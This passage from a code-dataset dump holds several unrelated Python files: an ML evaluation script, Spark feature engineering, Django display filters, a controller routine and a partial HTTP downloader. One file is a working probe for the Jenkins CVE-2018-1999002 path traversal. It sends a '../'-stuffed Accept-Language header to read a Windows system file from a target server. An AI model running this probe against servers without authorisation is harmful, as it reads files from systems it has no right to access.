data_portal_worker.start()\n","sub_path":"fedlearner/data_join/cmd/data_portal_worker_cli.py","file_name":"data_portal_worker_cli.py","file_ext":"py","file_size_in_byte":3976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"218683451","text":"import os\nimport numpy as np\nimport torch\nimport argparse\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\nfrom dataload import *\nfrom data.utils import *\nfrom models import ExposureNet, MaskNet, FineTuningNet\nfrom transformers import RobertaConfig, RobertaModel, RobertaTokenizer\n\nimport logging\nlogging.getLogger(\"transformers.tokenization_utils\").setLevel(logging.ERROR)\n\nMODELS = {'bert' : (RobertaModel, RobertaTokenizer, 'roberta-base')}\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\nmodel_class, tokenizer_class, pretrained_weights = MODELS['bert']\n\ntokenizer = tokenizer_class.from_pretrained(pretrained_weights)\nbert = model_class.from_pretrained(pretrained_weights)\n\n#### Set here ####\n\ndatatype = 'review'\nnum_id_class = 50\ntask = 'None'\nmodel_type='softmax'\nuse_outer_ood = 'review'\n\n#### Set here ####\n\npath = './models'\nmodel_list = os.listdir(path)\ndata_list = ['reuters','news','review','imdb','sst2','food']\nmodel_list = ['vanilla_softmax_news_20','exposure_sigmoid_news_20','vanilla_softmax_review_50','exposure_sigmoid_review_50']\n\nfor model_name in model_list:\n print('***** '+model_name+' *****')\n os.chdir(\"./models\")\n model = torch.load(model_name)\n task,model_type,datatype,num_id_class=model_name.split('_')\n num_id_class=int(num_id_class)\n os.chdir(\"../data\")\n _, id_data = VanillaDataload(datatype, tokenizer, [i for i in range(num_id_class)], max_len=512)\n if num_total_classes[datatype]!=int(num_id_class): #split\n _,ood_data=VanillaDataload(datatype, tokenizer, [i for i in range(num_id_class,num_total_classes[datatype])], max_len=512)\n\n test_data = id_data+ood_data\n for i in range(len(ood_data)):\n test_data[-i][1]=torch.LongTensor([51]) #ood data\n final_test_data=[]\n for data in test_data:\n tokens, label=data\n final_test_data.append(convert_to_features(tokens,task,label))\n testdataset = Dataset(filename=final_test_data)\n test_loader = DataLoader(dataset=testdataset, batch_size=64, shuffle=False, num_workers=2)\n l_logits = []\n id_ood = []\n with torch.no_grad():\n for i, data in enumerate(test_loader):\n inputs, labels = data[0].to(device), data[1].to(device)\n if task=='vanilla':\n logits = model(inputs)\n elif task=='mklm':\n _,logits = model(inputs)\n else:\n _,logits,_ = model(inputs)\n \n for i in range(len(logits)):\n l_logits.append(logits[i])\n id_ood.append(labels[i][-1].item())\n\n logits = torch.zeros((len(final_test_data),num_id_class), dtype=torch.float32)\n\n for i in range(len(final_test_data)):\n logits[i] = l_logits[i]\n logits = logits.numpy()\n id_oods = np.asarray(id_ood)\n os.chdir(\"../outputs\")\n np.save('logits_'+model_name+'_'+datatype, logits)\n np.save('label_'+model_name+'_'+datatype, id_oods)\n\n logits = torch.from_numpy(np.load('logits_'+model_name+'_'+datatype+'.npy'))\n labels = torch.from_numpy(np.load('label_'+model_name+'_'+datatype+'.npy'))\n\n auroc(logits, labels, num_id_class, model_type)\n os.chdir(\"../\")\n\n else:\n for ood in data_list:\n if ood != datatype:\n _, ood_data=VanillaDataload(ood, tokenizer, [i for i in range(num_total_classes[ood])], max_len=512)\n else:\n continue\n test_data = id_data+ood_data\n print('***** OOD datatype : '+ood)\n for i in range(len(ood_data)):\n test_data[-i][1]=torch.LongTensor([51]) #ood data\n final_test_data=[]\n for data in test_data:\n tokens, label=data\n final_test_data.append(convert_to_features(tokens,task,label))\n testdataset = Dataset(filename=final_test_data)\n test_loader = DataLoader(dataset=testdataset, batch_size=64, shuffle=False, num_workers=2)\n l_logits = []\n id_ood = []\n with torch.no_grad():\n for i, data in enumerate(test_loader):\n inputs, labels = data[0].to(device), data[1].to(device)\n if task=='vanilla':\n logits = model(inputs)\n elif task=='mklm':\n _,logits = model(inputs)\n else:\n _,logits,_ = model(inputs)\n \n for i in range(len(logits)):\n l_logits.append(logits[i])\n id_ood.append(labels[i][-1].item())\n\n logits = torch.zeros((len(final_test_data),num_id_class), dtype=torch.float32)\n\n for i in range(len(final_test_data)):\n logits[i] = l_logits[i]\n logits = logits.numpy()\n id_oods = np.asarray(id_ood)\n os.chdir(\"../outputs\")\n np.save('logits_'+model_name+'_'+ood, logits)\n np.save('label_'+model_name+'_'+ood, id_oods)\n\n logits = torch.from_numpy(np.load('logits_'+model_name+'_'+ood+'.npy'))\n labels = torch.from_numpy(np.load('label_'+model_name+'_'+ood+'.npy'))\n\n auroc(logits, labels, num_id_class, model_type)\n print('**********')\n os.chdir(\"../data\")\n os.chdir('../')\n","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":5545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"394287275","text":"import time\nimport random\nfrom typing import List, NoReturn, Callable\nfrom enum import IntEnum\n\nfrom driver import Controller\n\nclass GameplayAction(IntEnum):\n OP_1 = 0\n OP_2 = 1\n OP_3 = 2\n\ndef ActionOP_1(controller: Controller) -> NoReturn:\n '''\n Operation 1: left stick forward 2s\n '''\n controller.right_thumbstick.center()\n controller.left_thumbstick.linear_min()\n time.sleep(3)\n\n\ndef ActionOP_2(controller: Controller) -> NoReturn:\n '''\n Operation 2: return left stick to center position 1s\n '''\n controller.right_thumbstick.center()\n controller.left_thumbstick.center()\n time.sleep(1)\n\ndef ActionOP_3(controller: Controller) -> NoReturn:\n '''\n Operation 3: right stick move either right or left for 1s\n '''\n rnd = random.randrange(0, 100, 2)\n controller.right_thumbstick.linear_max() if rnd >= 50 else controller.right_thumbstick.linear_min()\n time.sleep(1)\n\ndef Action_Pre(controller: Controller) -> NoReturn:\n controller.left_thumbstick.center()\n controller.right_thumbstick.center()\n\n ActionOP_1(controller)\n\ndef select_action(last_action: GameplayAction) -> (GameplayAction, Callable[[Controller], NoReturn]):\n actions = {\n GameplayAction.OP_1: ActionOP_1,\n GameplayAction.OP_2: ActionOP_2,\n GameplayAction.OP_3: ActionOP_3\n }\n\n if last_action is None:\n return (GameplayAction.OP_1, Action_Pre)\n\n iter_action = int(last_action) + 1\n new_action = GameplayAction.OP_1 if iter_action > 2 else GameplayAction(iter_action)\n \n return (new_action, actions[new_action])\n \ndef call_select_option(last_action: GameplayAction, controller: any) -> GameplayAction:\n selected, handler = select_action(last_action)\n if handler != None: \n handler(controller)\n\n return selected","sub_path":"src/agent_framework/control/gameplay/simple_1.py","file_name":"simple_1.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"278960069","text":"#!/usr/bin/python3\n\n'''\nname: CVE-2018-1999002漏洞\ndescription: CVE-2018-1999002漏洞可任意读取文件,在Linux条件下利用比较困难,则需要一个带有_的目录才能利用\n'''\n\nimport requests\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nclass CVE_2018_1999002_BaseVerify:\n def __init__(self, url):\n self.url = url\n self.file_name = \"windows/win\"\n self.BACKDIR_COUNT = 8\n self.header = {\n 'Accept-Language': ('../' * self.BACKDIR_COUNT) + self.file_name\n }\n\n def run(self):\n if not self.url.startswith(\"http\") and not self.url.startswith(\"https\"):\n self.url = \"http://\" + self.url\n try:\n check_url = self.url + '/plugin/credentials/.ini'\n check_req = requests.get(check_url, headers = self.header, allow_redirects = False, verify=False)\n if \"MPEGVideo\" in check_req.text and check_req.status_code == 200:\n print('存在CVE-2018-1999002漏洞')\n return True\n else:\n print('不存在CVE-2018-1999002漏洞')\n return False\n except Exception as e:\n #print(e)\n print('不存在CVE-2018-1999002漏洞')\n return False\n finally:\n pass\n\nif __name__ == '__main__':\n CVE_2018_1999002 = CVE_2018_1999002_BaseVerify('http://10.4.69.55:8789')\n CVE_2018_1999002.run()\n\n\n\n","sub_path":"flask/app/plugins/Jenkins/CVE_2018_1999002.py","file_name":"CVE_2018_1999002.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"609650096","text":"import datetime\nimport typing as t\nimport bleach\nfrom django.core.exceptions import FieldDoesNotExist\nfrom django.db import models\nfrom django.template.defaultfilters import safe\n\nfrom vprad.helpers import get_url_for\nfrom vprad.site.jinja import register_filter\n\nEMPTY_VALUE_DISPLAY = '--'\nTRUE_VALUE_DISPLAY = ''\nFALSE_VALUE_DISPLAY = ''\n\n\n@register_filter(name='attribute_name')\ndef filter_attribute_name(obj, attname):\n \"\"\" Return a human friendly name for an object attribute.\n\n This normaly means the verbose_name of a field, if the attname is\n a field. If there are no better options, the attname is returned.\n \"\"\"\n if '__' in attname:\n related_model, field_name = attname.split('__', 1)\n obj = getattr(obj, related_model)\n if isinstance(obj, models.Model):\n try:\n field = obj._meta.get_field(attname)\n return field.verbose_name if hasattr(field, 'verbose_name') else field.name\n except FieldDoesNotExist:\n pass\n return attname\n\n\n@register_filter(name='format_attribute')\ndef filter_format_attribute(obj, attname):\n \"\"\" Format the value of an object attribute, nicely for humans.\n \"\"\"\n try:\n field: t.Optional[models.Field] = obj._meta.get_field(attname) if isinstance(obj, models.Model) else None\n except FieldDoesNotExist:\n field = None\n if '__' in attname:\n related_model, field_name = attname.split('__', 1)\n obj = getattr(obj, related_model)\n\n display_func = getattr(obj, 'get_%s_display' % attname, None)\n if display_func:\n value = display_func()\n else:\n value = getattr(obj, attname)\n retval = filter_format_value(value)\n if isinstance(value, models.Model):\n url = get_url_for(value)\n if url:\n retval = f'{retval}'\n elif isinstance(field, models.URLField) and value != EMPTY_VALUE_DISPLAY:\n retval = '%s' % (value, value)\n return safe(retval)\n\n\n@register_filter(name='format_value')\ndef filter_format_value(value):\n \"\"\" Format a value nicely for humans.\n \"\"\"\n if value is None:\n return EMPTY_VALUE_DISPLAY\n elif isinstance(value, datetime.datetime):\n return value.strftime('%Y-%m-%d %H:%M:%S')\n elif isinstance(value, datetime.date):\n return value.strftime('%Y-%m-%d')\n elif isinstance(value, datetime.timedelta):\n return filter_format_timedelta(value)\n elif isinstance(value, str):\n return bleach.clean(value)\n elif isinstance(value, bool):\n return TRUE_VALUE_DISPLAY if value else FALSE_VALUE_DISPLAY\n return str(value)\n\n\n@register_filter(name='timesince')\ndef filter_timesince(value: datetime.datetime,\n until: datetime.datetime = None) -> str:\n \"\"\"Show a human friendly string for a date to current time.\n\n Example:\n > from datetime import date, datetime\n > filter_timesince(date(2019, 12, 30), date(2019, 12, 31))\n '1 days'\n > filter_timesince(datetime(2019, 12, 30, 10, 0, 0), datetime(2019, 12, 31, 11, 0, 0))\n '1 days, 1 hours'\n\n Args:\n value: The datetime to which show the time since,\n until: The datetime to which the difference is calculated,\n defaults to `datetime.datetime.now()`.\n\n Returns:\n str: A string represeting the human readable timedelta.\n \"\"\"\n if isinstance(value, datetime.date) and not isinstance(value, datetime.datetime):\n value = datetime.datetime.combine(value, datetime.datetime.min.time())\n if until and isinstance(until, datetime.date) and not isinstance(until, datetime.datetime):\n until = datetime.datetime.combine(until, datetime.datetime.min.time())\n\n if not until:\n until = datetime.datetime.now(tz=value.tzinfo if value.tzinfo else None)\n since = until - value\n return filter_format_timedelta(since)\n\n\n@register_filter(name='format_timedelta')\ndef filter_format_timedelta(value: datetime.timedelta):\n \"\"\"Show a human friendly string for a date to current time.\n\n Example:\n > from datetime import timedelta\n > format_timedelta(timedelta(days=1))\n '1 days'\n > format_timedelta(timedelta(days=1, hours=1)\n '1 days, 1 hours'\n\n Args:\n value: The timedelta to format nicely\n\n Returns:\n str: A string represeting the human readable timedelta.\n \"\"\"\n # https://codereview.stackexchange.com/q/37285\n days, rem = divmod(value.total_seconds(), 86400)\n hours, rem = divmod(rem, 3600)\n minutes, seconds = divmod(rem, 60)\n if seconds < 1: seconds = 0\n locals_ = locals()\n magnitudes_str = (\"{n} {magnitude}\".format(n=int(locals_[magnitude]), magnitude=magnitude)\n for magnitude in (\"days\", \"hours\", \"minutes\", \"seconds\") if locals_[magnitude])\n eta_str = \", \".join(magnitudes_str)\n return eta_str","sub_path":"vprad/views/jinja.py","file_name":"jinja.py","file_ext":"py","file_size_in_byte":4935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"562448102","text":"import json\nimport math\n\nfrom pyspark.ml.feature import VectorAssembler, StringIndexer, OneHotEncoderEstimator\nfrom pyspark.sql.functions import col\nfrom pyspark.sql.functions import udf\nfrom pyspark.sql.types import *\n\nfrom PredictionAlgorithms.PredictiveConstants import PredictiveConstants\n\n\nclass PredictiveDataTransformation():\n def __init__(self, dataset):\n self.dataset = None if dataset == None else dataset\n\n # data transformation\n def dataTranform(self, labelColm, featuresColm,userId):\n self.labelColm = None if labelColm == None else labelColm\n self.featuresColm = None if featuresColm == None else featuresColm\n dataset = self.dataset\n vectorFeatures = userId + \"features\"\n\n schemaData = dataset.schema\n categoricalFeatures = []\n numericalFeatures = []\n\n if self.labelColm is not None:\n for labelName in self.labelColm:\n label = labelName\n else:\n label = self.labelColm\n\n for schemaVal in schemaData:\n if (str(schemaVal.dataType) == \"StringType\" or str(schemaVal.dataType) == \"TimestampType\" \\\n or str(schemaVal.dataType) == \"DateType\" \\\n or str(schemaVal.dataType) == \"BooleanType\" \\\n or str(schemaVal.dataType) == \"BinaryType\"):\n for y in self.featuresColm:\n if schemaVal.name == y:\n dataset = dataset.withColumn(y, dataset[y].cast(StringType()))\n categoricalFeatures.append(schemaVal.name)\n else:\n for y in self.featuresColm:\n if schemaVal.name == y:\n numericalFeatures.append(schemaVal.name)\n\n # indexing of label column\n isLabelIndexed = \"no\"\n if self.labelColm is not None:\n for schemaVal in schemaData:\n if (str(schemaVal.dataType) == \"StringType\" and schemaVal.name == label):\n isLabelIndexed = \"yes\"\n for labelkey in self.labelColm:\n label_indexer = StringIndexer(inputCol=label, outputCol='indexed_' + label,\n handleInvalid=\"skip\").fit(dataset)\n dataset = label_indexer.transform(dataset)\n label = PredictiveConstants.INDEXED_ + label\n else:\n label = label\n isLabelIndexed = \"no\"\n\n oneHotEncodedFeaturesList = []\n indexedFeatures = []\n for colm in categoricalFeatures:\n indexer = StringIndexer(inputCol=colm, outputCol=PredictiveConstants.INDEXED_ + colm, handleInvalid=\"skip\") \\\n .fit(dataset)\n indexedFeatures.append(PredictiveConstants.INDEXED_ + colm)\n dataset = indexer.transform(dataset)\n oneHotEncodedFeaturesList.append(PredictiveConstants.ONEHOTENCODED_ + colm)\n oneHotEncoder = OneHotEncoderEstimator(inputCols=indexedFeatures,\n outputCols=oneHotEncodedFeaturesList)\n oneHotEncoderFit = oneHotEncoder.fit(dataset)\n dataset = oneHotEncoderFit.transform(dataset)\n\n combinedFeatures = oneHotEncodedFeaturesList + numericalFeatures\n categoryColmListDict = {}\n countOfCategoricalColmList = []\n for value in categoricalFeatures:\n listValue = []\n categoryColm = dataset.groupby(value).count()\n countOfCategoricalColmList.append(categoryColm.count())\n categoryColmJson = categoryColm.toJSON()\n for row in categoryColmJson.collect():\n categoryColmSummary = json.loads(row)\n listValue.append(categoryColmSummary)\n categoryColmListDict[value] = listValue\n\n self.numericalFeatures = numericalFeatures\n self.categoricalFeatures = categoricalFeatures\n if not categoricalFeatures:\n maxCategories = 5\n else:\n maxCategories = max(countOfCategoricalColmList)\n\n featureassembler = VectorAssembler(\n inputCols=combinedFeatures,\n outputCol=vectorFeatures, handleInvalid=\"skip\")\n dataset = featureassembler.transform(dataset)\n\n # retrieve the features colm name after onehotencoding\n indexOfFeatures = dataset.schema.names.index(vectorFeatures)\n oneHotEncodedFeaturesDict = dataset.schema.fields[indexOfFeatures].metadata['ml_attr']['attrs']\n idNameFeatures = {}\n\n if not oneHotEncodedFeaturesDict:\n idNameFeaturesOrderedTemp = None\n else:\n for type, value in oneHotEncodedFeaturesDict.items():\n for subKey in value:\n idNameFeatures[subKey.get(\"idx\")] = subKey.get(\"name\")\n idNameFeaturesOrderedTemp = {}\n for key in sorted(idNameFeatures):\n idNameFeaturesOrderedTemp[key] = idNameFeatures[key].replace(PredictiveConstants.ONEHOTENCODED_, \"\")\n\n idNameFeaturesOrdered = None if idNameFeaturesOrderedTemp == None else idNameFeaturesOrderedTemp\n\n # retrieve the label colm name only after label encoding\n indexedLabelNameDict = {}\n if isLabelIndexed == \"yes\":\n indexOfLabel = dataset.schema.names.index(PredictiveConstants.INDEXED_ + label)\n indexedLabel = dataset.schema.fields[indexOfLabel].metadata[\"ml_attr\"][\"vals\"]\n for value in indexedLabel:\n indexedLabelNameDict[indexedLabel.index(value)] = value\n\n # this code was for vector indexer since it is not stable for now from spark end\n # so will use it in future if needed.\n '''\n vec_indexer = VectorIndexer(inputCol='features', outputCol='vec_indexed_features',\n maxCategories=maxCategories,\n handleInvalid=\"skip\").fit(dataset)\n categorical_features = vec_indexer.categoryMaps\n print(\"Choose %d categorical features: %s\" %\n (len(categorical_features), \", \".join(str(k) for k in categorical_features.keys())))\n dataset= vec_indexer.transform(dataset)\n '''\n\n\n result = {PredictiveConstants.DATASET: dataset, PredictiveConstants.CATEGORICALFEATURES: categoricalFeatures,\n PredictiveConstants.NUMERICALFEATURES: numericalFeatures, PredictiveConstants.MAXCATEGORIES: maxCategories,\n PredictiveConstants.CATEGORYCOLMSTATS: categoryColmListDict, PredictiveConstants.INDEXEDFEATURES: indexedFeatures,\n PredictiveConstants.LABEL: label,\n PredictiveConstants.ONEHOTENCODEDFEATURESLIST: oneHotEncodedFeaturesList,\n PredictiveConstants.INDEXEDLABELNAMEDICT: indexedLabelNameDict,\n \"isLabelIndexed\": isLabelIndexed,\n PredictiveConstants.VECTORFEATURES:vectorFeatures,\n PredictiveConstants.IDNAMEFEATURESORDERED: idNameFeaturesOrdered\n }\n return result\n\n # stats of the each colm\n def dataStatistics(self, categoricalFeatures, numericalFeatures, categoricalColmStat):\n # self.dataTranform()\n self.categoricalFeatures = None if categoricalFeatures == None else categoricalFeatures\n self.numericalFeatures = None if numericalFeatures == None else numericalFeatures\n categoricalColmStat = None if categoricalColmStat == None else categoricalColmStat\n summaryList = ['mean', 'stddev', 'min', 'max']\n summaryDict = {}\n dataset = self.dataset\n import pyspark.sql.functions as F\n import builtins\n\n # distint values in colms(categorical only)\n distinctValueDict = {}\n for colm, distVal in categoricalColmStat.items():\n tempList = []\n for value in distVal:\n for key, val in value.items():\n if key != \"count\":\n tempList.append(val)\n distinctValueDict[colm] = len(tempList)\n\n # stats for numerical colm\n round = getattr(builtins, 'round')\n for colm in self.numericalFeatures:\n summaryListTemp = []\n for value in summaryList:\n summ = list(dataset.select(colm).summary(value).toPandas()[colm])\n summaryListSubTemp = []\n for val in summ:\n summaryListSubTemp.append(round(float(val), 4))\n summaryListTemp.extend(summaryListSubTemp)\n summaryDict[colm] = summaryListTemp\n summaryList.extend(['skewness', 'kurtosis', 'variance'])\n summaryDict['summaryName'] = summaryList\n summaryDict['categoricalColumn'] = self.categoricalFeatures\n summaryDict[\"categoricalColmStats\"] = distinctValueDict\n\n skewnessList = []\n kurtosisList = []\n varianceList = []\n skewKurtVarDict = {}\n for colm in self.numericalFeatures:\n skewness = (dataset.select(F.skewness(dataset[colm])).toPandas())\n for i, row in skewness.iterrows():\n for j, column in row.iteritems():\n skewnessList.append(round(column, 4))\n kurtosis = (dataset.select(F.kurtosis(dataset[colm])).toPandas())\n for i, row in kurtosis.iterrows():\n for j, column in row.iteritems():\n kurtosisList.append(round(column, 4))\n variance = (dataset.select(F.variance(dataset[colm])).toPandas())\n for i, row in variance.iterrows():\n for j, column in row.iteritems():\n varianceList.append(round(column, 4))\n\n for skew, kurt, var, colm in zip(skewnessList, kurtosisList, varianceList, self.numericalFeatures):\n skewKurtVarList = []\n skewKurtVarList.append(skew)\n skewKurtVarList.append(kurt)\n skewKurtVarList.append(var)\n skewKurtVarDict[colm] = skewKurtVarList\n\n for (keyOne, valueOne), (keyTwo, valueTwo) in zip(summaryDict.items(), skewKurtVarDict.items()):\n if keyOne == keyTwo:\n valueOne.extend(valueTwo)\n summaryDict[keyOne] = valueOne\n print(summaryDict)\n return summaryDict\n\n def colmTransformation(self, colmTransformationList):\n colmTransformationList = None if colmTransformationList == None else colmTransformationList\n dataset = self.dataset\n\n def relationshipTransform(dataset, colmTransformationList):\n # creating the udf\n def log_list(x):\n try:\n return math.log(x, 10)\n except Exception as e:\n print('(log error)number should not be less than or equal to zero: ' + str(e))\n pass\n # finally:\n # print('pass')\n # pass\n\n def exponent_list(x):\n try:\n return math.exp(x)\n except Exception as e:\n print('(exception error)number should not be large enough to get it infinity: ' + str(e))\n\n def square_list(x):\n try:\n return x ** 2\n except Exception as e:\n print('(square error)number should not be negative: ' + str(e))\n\n def cubic_list(x):\n try:\n return x ** 3\n except Exception as e:\n print('(cubic error)number should not be negative: ' + str(e))\n\n def quadritic_list(x):\n try:\n return x ** 4\n except Exception as e:\n print('(quadratic error )number should not be negative: ' + str(e))\n\n def sqrt_list(x):\n try:\n return math.sqrt(x)\n except Exception as e:\n print('(sqare root error) number should not be negative: ' + str(e))\n\n square_list_udf = udf(lambda y: square_list(y), FloatType())\n log_list_udf = udf(lambda y: log_list(y), FloatType())\n exponent_list_udf = udf(lambda y: exponent_list(y), FloatType())\n cubic_list_udf = udf(lambda y: cubic_list(y), FloatType())\n quadratic_list_udf = udf(lambda y: quadritic_list(y), FloatType())\n sqrt_list_udf = udf(lambda y: sqrt_list(y), FloatType())\n\n # spark.udf.register(\"squaredWithPython\", square_list)\n # square_list_udf = udf(lambda y: square_list(y), ArrayType(FloatType))\n # square_list_udf = udf(lambda y: exponent_list(y), FloatType())\n # # dataset.select('MPG', square_list_udf(col('MPG').cast(FloatType())).alias('MPG')).show()\n # dataset.withColumn('MPG', square_list_udf(col('MPG').cast(FloatType()))).show()\n # Relationship_val = 'square_list'\n # Relationship_colm = [\"CYLINDERS\", \"WEIGHT\", \"ACCELERATION\", \"DISPLACEMENT\"]\n # Relationship_model = ['log_list', 'exponent_list', 'square_list', 'cubic_list', 'quadritic_list',\n # 'sqrt_list']\n\n for key, value in colmTransformationList.items():\n if key == 'square_list':\n if len(value) == 0:\n print('length is null')\n else:\n for colm in value:\n # Relationship_val.strip(\"'\")\n # square_list_udf = udf(lambda y: square_list(y), FloatType())\n dataset = dataset.withColumn(colm, square_list_udf(col(colm).cast(FloatType())))\n if key == 'log_list':\n if len(value) == 0:\n print('length is null')\n else:\n for colm in value:\n # Relationship_val.strip(\"'\")\n # square_list_udf = udf(lambda y: square_list(y), FloatType())\n dataset = dataset.withColumn(colm, log_list_udf(col(colm).cast(FloatType())))\n if key == 'exponent_list':\n if len(value) == 0:\n print('length is null')\n else:\n for colm in value:\n # Relationship_val.strip(\"'\")\n # square_list_udf = udf(lambda y: square_list(y), FloatType())\n dataset = dataset.withColumn(colm, exponent_list_udf(col(colm).cast(FloatType())))\n if key == 'cubic_list':\n if len(value) == 0:\n print('length is null')\n else:\n for colm in value:\n # Relationship_val.strip(\"'\")\n # square_list_udf = udf(lambda y: square_list(y), FloatType())\n dataset = dataset.withColumn(colm, cubic_list_udf(col(colm).cast(FloatType())))\n if key == 'quadratic_list':\n if len(value) == 0:\n print('length is null')\n else:\n for colm in value:\n # Relationship_val.strip(\"'\")\n # square_list_udf = udf(lambda y: square_list(y), FloatType())\n dataset = dataset.withColumn(colm, quadratic_list_udf(col(colm).cast(FloatType())))\n if key == 'sqrt_list':\n if len(value) == 0:\n print('length is null')\n else:\n for colm in value:\n # Relationship_val.strip(\"'\")\n # square_list_udf = udf(lambda y: square_list(y), FloaType())\n dataset = dataset.withColumn(colm, sqrt_list_udf(col(colm).cast(FloatType())))\n else:\n print('not found')\n\n return (dataset)\n\n # result={\"colmTransformationList\":colmTransformationList, \"dataset\":dataset}\n result = relationshipTransform(dataset, colmTransformationList)\n return result\n","sub_path":"PredictiveDataTransformation.py","file_name":"PredictiveDataTransformation.py","file_ext":"py","file_size_in_byte":16249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"629389437","text":"# import required libraries\nimport sys, re\nfrom socket import *\nimport threading\nimport os\nfrom urllib.parse import urlparse\nimport time, pickle\n\nlock_1 = threading.Lock()\nflag =1\n\ndef progress(metric_interval, thread_no):\n\tj = 0\n\tcnt = 0\n\ttotal_1 = 0\n\ttotal_2 = sum([total for chunk,total in thread_no])\n\n\t# display downloading progress after specified metric_interval\n\twhile(1):\n\t\tlock_1.acquire()\n\t\tcnt +=1\n\t\tfor i in thread_no: # for each thread\n\t\t\tif(j>len(thread_no)-1): #bcuz for loop runs one too many times\n\t\t\t\tbreak\n\t\t\t\n\t\t\t# display metrics for each connection after metric_interval\n\t\t\tif(thread_no[j][1]==0):\n\t\t\t\tprint(\"Connection \", j, \": \", thread_no[j][0], \"/\", thread_no[j][1], \", download speed: 0 kb/s\")\n\t\t\telse:\n\t\t\t\tprint(\"Connection \", j, \": \", thread_no[j][0], \"/\", thread_no[j][1], \", download speed: \", (thread_no[j][0]/1000)/(metric_interval*cnt), \"kb/s\")\n\t\t\ttotal_1 += thread_no[j][0]\n\t\t\tj+=1\n\n\t\t# display metrics for total bytes\n\t\tprint(\"Total : \", total_1, \"/\", total_2, \", download speed: \", (total_1/1000)/(metric_interval*cnt), \"kb/s\")\n\t\ttotal_1 = 0\n\t\tj=0\n\t\tprint()\n\t\ttime.sleep(metric_interval)\n\n\t\t# After all threads have finished execution\n\t\tif (flag == 0):\n\t\t\tcnt+=1\n\t\t\tfor i in thread_no: # for each thread\n\t\t\t\tif(j>len(thread_no)-1): #bcuz for loop runs one too many times\n\t\t\t\t\tbreak\n\t\t\t\t\n\t\t\t\t# display metrics for each connection after metric_interval\n\t\t\t\tif(thread_no[j][1]==0):\n\t\t\t\t\tprint(\"Connection \", j, \": \", thread_no[j][0], \"/\", thread_no[j][1], \", download speed: 0 kb/s\")\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Connection \", j, \": \", thread_no[j][0], \"/\", thread_no[j][1], \", download speed: \", (thread_no[j][0]/1000)/(metric_interval*cnt), \"kb/s\")\n\t\t\t\ttotal_1 += thread_no[j][0]\n\t\t\t\tj+=1\n\t\t\t\n\t\t\t# display metrics for total bytes\n\t\t\tprint(\"Total : \", total_1, \"/\", total_2, \", download speed: \", (total_1/1000)/(metric_interval*cnt), \"kb/s\")\n\t\t\tprint()\n\t\t\tbreak\n\t\tlock_1.release()\n\ndef download(start_byte, end_byte, thread_num,thread_no, soc):\n\t# display each thread downloading range\n\tprint(\"Thread \",thread_num,\": range = \", start_byte, \" to \",end_byte)\n\n\t# send get request to server for data of a defined range\n\tsockets_list[thread_num].send(bytes(\"GET \" + file_location + \" HTTP/1.1\\r\\nHost: \" + host +\n\t \"\\r\\nRange: bytes=\" + str(start_byte) + \"-\" + str(end_byte) +\"\\r\\n\\r\\n\",'utf-8'))\n\t\n\t# open seperate file within the directory for every thread to write the data\n\twith open(os.path.join(output_location.split(\".\")[0], str(thread_num) + \".txt\"),'ab') as output_file:\n\t\theader = True\n\t\twhile True:\n\t\t\t# get response from the server\n\t\t\tresponse = sockets_list[thread_num].recv(1024)\n\t\t\t# loop termination condition\n\t\t\tif not response:\n\t\t\t\tbreak\n\t\t\t# if header is in the response remove header and get content data only\n\t\t\tif header:\n\t\t\t\tpartition_data = response.decode(\"ASCII\").split(\"\\r\\n\\r\\n\")[1]\n\t\t\t\theader = False\n\t\t\t# if content only then simply get the content\n\t\t\telse:\n\t\t\t\tpartition_data = response.decode(\"ASCII\")\n\t\t\t\n\t\t\t# update the download status of chunk\n\t\t\tthread_no[thread_num][0]+=len(partition_data)\n\t\t\t# write downloaded bytes to file\n\t\t\toutput_file.write(bytes(partition_data,'utf-8'))\n\t\t\t# write the download status of chunk to csv.txt\n\t\t\twith open(os.path.join(output_location.split(\".\")[0],\"csv.txt\"),'wb') as csv_file:\n\t\t\t\tpickle.dump(thread_no, csv_file)\n\t\t\t\tcsv_file.close()\n\t\t\ndef tcp_connection(thread_no):\n\tbyte_range = []\n\n\t# if not resuming \n\tif resume == False:\n\t\t# create tcp socket\n\t\tsoc = socket(AF_INET, SOCK_STREAM)\n\t\t# connect socket to host\n\t\tsoc.connect((host, port))\n\t\t# get the header of the file\n\t\tsoc.send(bytes(\"HEAD \" + file_location + \" HTTP/1.1\\r\\nHost: \" + host + \"\\r\\n\\r\\n\",'utf-8'))\n\n\t\t# get the total content length of the file\n\t\tresponse = soc.recv(1024).decode(\"ASCII\")\n\t\tcontent_length = int(re.findall(\"Content-Length: (.*?)\\r\\n\",response, re.DOTALL)[-1])\n\t\t# calculate offset of every chunk\n\t\toffset = content_length // num_connections\n\n\t\t# calculate start_byte and end_byte of every chunk\n\t\tstart_byte = 0\n\t\tend_byte = offset\n\t\tfor n in range(num_connections-1):\n\t\t\tbyte_range.append([start_byte,end_byte])\n\t\t\tstart_byte = end_byte + 1\n\t\t\tend_byte += offset\n\t\tbyte_range.append([start_byte,content_length])\n\n\t\t# initialize the download status list\n\t\tfor n in range(num_connections):\n\t\t\tran = byte_range[n][1] - byte_range[n][0] + 1\n\t\t\tthread_no.append([0, ran])\n\n\t\t# dump the download status in csv.txt for later use in resuming\n\t\twith open(os.path.join(output_location.split(\".\")[0],\"csv.txt\"),'wb') as csv_file:\n\t\t\tpickle.dump(thread_no, csv_file)\n\t\t\tcsv_file.close()\n\n\t# if resume downloading\n\telse:\n\t\t# get download status from csv.txt\n\t\twith 